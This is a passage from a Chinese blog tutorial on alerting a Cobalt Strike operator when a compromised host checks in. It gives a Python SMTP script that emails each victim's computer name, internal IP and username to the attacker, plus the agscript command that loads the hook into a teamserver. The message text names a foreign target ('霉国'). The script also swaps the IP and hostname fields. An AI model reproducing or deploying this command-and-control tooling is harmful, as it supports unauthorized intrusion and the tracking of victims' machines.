05邮 件 提 醒
在Pushplus
中,还提供了邮件提醒,配置的步骤上来讲,比较简单,在Pushplus
中选择个人资料,绑定自己的邮箱:
确认之后,Pushplus
会发送一封邮件进行验证:
点击之后,验证成功。
然后在原来的代码上进行修改:只需修改"channel":"mail"
即可!
然后在本地使用python3
进行验证:
此时邮箱接收到了消息:
后续配置到服务器即可,详情可参考第2节。
06注意事项
在使用Pushplus推送的流程中,还有一个比较重要的问题:如果短时间内有多个相同主机上线,Pushplus
会默认不发送重复数据内容,而且对发送频率也有要求:
一般来说,短时间大量主机上线的概率不是很高,所以在上面的两个问题中,要优先解决短时间不默认发送重复数据内容,因此在以前的代码中,可以加入随机数或者时间戳,在这里以加入时间戳为例:
收到的提醒:
07隐蔽的邮件提醒
在上述的2-5
节中,都需要使用第三方服务进行推送,这里面有一些缺点:比如扫码关注、绑定邮箱、发送次数限制等等,可能对不想泄露隐私的师傅,不太愿意这样搞,因此我们也可以自己配置邮件服务,自己给自己设置上线提醒:
7.1 python发送邮件
下面是一个简单的python
发送邮件的demo
,在这里需要自行配置发件人的邮箱,发件人的邮箱授权码,接收人邮箱等。(这部分内容可以百度到)
# -*- encoding: utf-8 -*- # Time : 2021/12/21 21:01:21 # Author: crow #1. 发送文本文件 import smtplib from email.mime.text import MIMEText from email.header import Header # print('donw') sender = '123876@qq.com' #发件人邮箱 receiver = '1237@qq.com' #收件人邮箱 mail_pass = 'cwxdebc' #qq邮箱授权码 #text为邮件正文内容,plain为文本格式,'utf-8'为编码格式 text = '您有新主机上线。。。' message = MIMEText(text, 'plain', 'utf-8') #添加Header信息,From,To,Subject分别为发送者信息,接收者消息和邮件主题 message['From'] = Header(sender, 'utf-8') message['To'] = Header(receiver, 'utf-8') subject = 'Python STMP 邮件发送测试' message['Subject'] = Header(subject, 'utf-8') try: #smtp.xxx.com为邮箱服务类型,25为STMP的端口 smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型,25为STMP #smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号') smtpObj.login(sender, mail_pass)#登录 smtpObj.sendmail(sender, receiver, message.as_string())#发送 print ("邮件发送成功") except smtplib.SMTPException as e: print(e) print ("Error: 邮件发送失败")
使用python3
进行发送:
此时接收成功:
所以我们可以稍微将代码修改下,变成一个完整的上线提醒:
# -*- encoding: utf-8 -*- # Time : 2021/12/21 21:07:19 # Author: crow import argparse import requests import random import string import json import time import smtplib from email.mime.text import MIMEText from email.header import Header parser = argparse.ArgumentParser(description='Beacon Info') parser.add_argument('--computername') parser.add_argument('--internalip') parser.add_argument('--username') args = parser.parse_args() internalip = args.internalip computername = args.computername username = args.username ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8)) t_time = time.ctime() content = """ 您有霉国-2新主机上线啦 主机名: {} IP: {} 用户名: {} Token: {} 上线时间:{} 请注意查收哦~ """.format(internalip, computername, username, ran_str, t_time) #1. 发送文本文件 sender = '123876@qq.com' #发件人邮箱 receiver = '1237@qq.com' #收件人邮箱 mail_pass = 'cwxdebc' #qq邮箱授权码 #text为邮件正文内容,plain为文本格式,'utf-8'为编码格式 # text = '您有新主机上线。。。' # content message = MIMEText(content, 'plain', 'utf-8') #添加Header信息,From,To,Subject分别为发送者信息,接收者消息和邮件主题 message['From'] = Header(sender, 'utf-8') message['To'] = Header(receiver, 'utf-8') subject = 'Cobalt Strike上线提醒' message['Subject'] = Header(subject, 'utf-8') try: #smtp.xxx.com为邮箱服务类型,25为STMP的端口 smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型,25为STMP #smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号') smtpObj.login(sender, mail_pass)#登录 smtpObj.sendmail(sender, receiver, message.as_string())#发送 print ("邮件发送成功") except smtplib.SMTPException as e: print(e) print ("Error: 邮件发送失败")
此时接到的信息如下:
虽然丑了点,但:又不是不能用
7.2 邮件提醒
修改一个cna
文件,测试下:
sudo ./agscript 192.168.22.104 12345 crow 111223 CS-PushPlus-main/ Send_email.cna
加载成功之后,这里会显示已加入:
生成exe
文件,运行下,测试上线,上线之后,在这里看到记录:
同时也收到了邮件:
08 总 结
在以上的方法中,主要讨论了利用第三方推送Pushplus
进行微信单人、群组;钉钉群组;第三方邮件提醒方法,当然在Pushplus
中还有其他的提醒方式,这种方式推送方式较多,但是缺点就是容易暴露个人信息。所以在本文提出了使用更加隐蔽的邮件提醒方法,优点就是不会暴露私人信息,缺点就是只能使用邮件提醒,而且需要使用两个邮箱账号。